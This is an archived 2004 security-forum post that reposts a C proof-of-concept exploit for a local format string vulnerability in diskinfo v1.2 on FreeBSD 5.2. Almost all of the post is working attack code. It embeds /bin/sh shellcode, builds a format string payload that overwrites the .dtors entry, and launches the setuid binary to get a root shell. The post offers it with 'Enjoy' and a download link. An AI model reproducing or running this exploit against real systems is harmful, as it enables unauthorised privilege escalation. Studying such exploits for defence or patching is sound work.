Diskinfo V1.2 Local Format String Exploit

Full Version: Diskinfo V1.2 Local Format String Exploit

GovernmentSecurity.org > The Archives > Exploit Articles

GaLiaRePt

Feb 24 2004, 10:35 PM

diskinfo v1.2 local format string exploit
Date: 2004-02-25

Author : over_g <overg[at]mail.ru>
Download : http://www.security-corporation.com/downlo...it/m00-dskinf.c

CODE

/*******************************************************
* diskinfo v1.2 local format string exploit
* by over_g / m00 security
*
* overg[at]mail.ru http://m00.void.ru
*
* This is PoC, tak chto ne pizdite =)
*
* tested on freebsd 5.2
********************************************************/

#include <stdio.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

long al = 20;
long addr = 0x804aab0+4; //.dtors+4
/* al=16 & addr = 0x804ab68+4 - on diskinfo compiled from source */

int main(int argc, char ** argv)
{
long addr2;
char buffer[150];

*buffer='\0';
addr2 = addr + 2;
sprintf(buffer,"AAA%s%%%dx%%%d$n%s%%%dx%%%d$hn",
(char*)&addr,0xee58,al,(char*)&addr2,0xd15b,al+4);

printf("\ndiskinfo v1.2 - local format string exploit by over_g / m00 Security\n"
" m00.void.ru overg[at]mail.ru\n\n");
printf("overwriting addr: 0x%08x \n",addr);
printf(" ret addr: 0x%08x \n",0xbfbfee58);

//need +s for get root =)
execl("/usr/sbin/diskinfo","diskinfo",buffer,shellcode,NULL);

}

Enjoy ;-)

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.